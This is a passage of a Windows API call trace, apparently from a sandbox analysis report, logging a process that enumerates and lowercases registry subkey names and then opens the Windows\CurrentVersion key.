CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x49b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x49b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x49b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x49c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x49b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x49b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x49b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x49c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x49b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0180.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x49b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0180.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x49b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x49b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x49b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x49b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x49b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x49c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x49b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0180.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x49b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0180.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x49b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x49b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x49b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x49b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x49b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0180.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x49b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0180.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x49b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0180.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x49b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0180.244] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0xa0) returned 0x0 [0180.244] RegCloseKey (hKey=0x24) returned 0x0 [0180.244] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0180.244] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0x24) returned 0x0 [0180.244] RegCloseKey (hKey=0xa0) returned 0x0 [0180.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0180.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0180.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x49b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0180.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x49c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0180.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x49b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x49b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x49b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x49b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x49b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x49b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 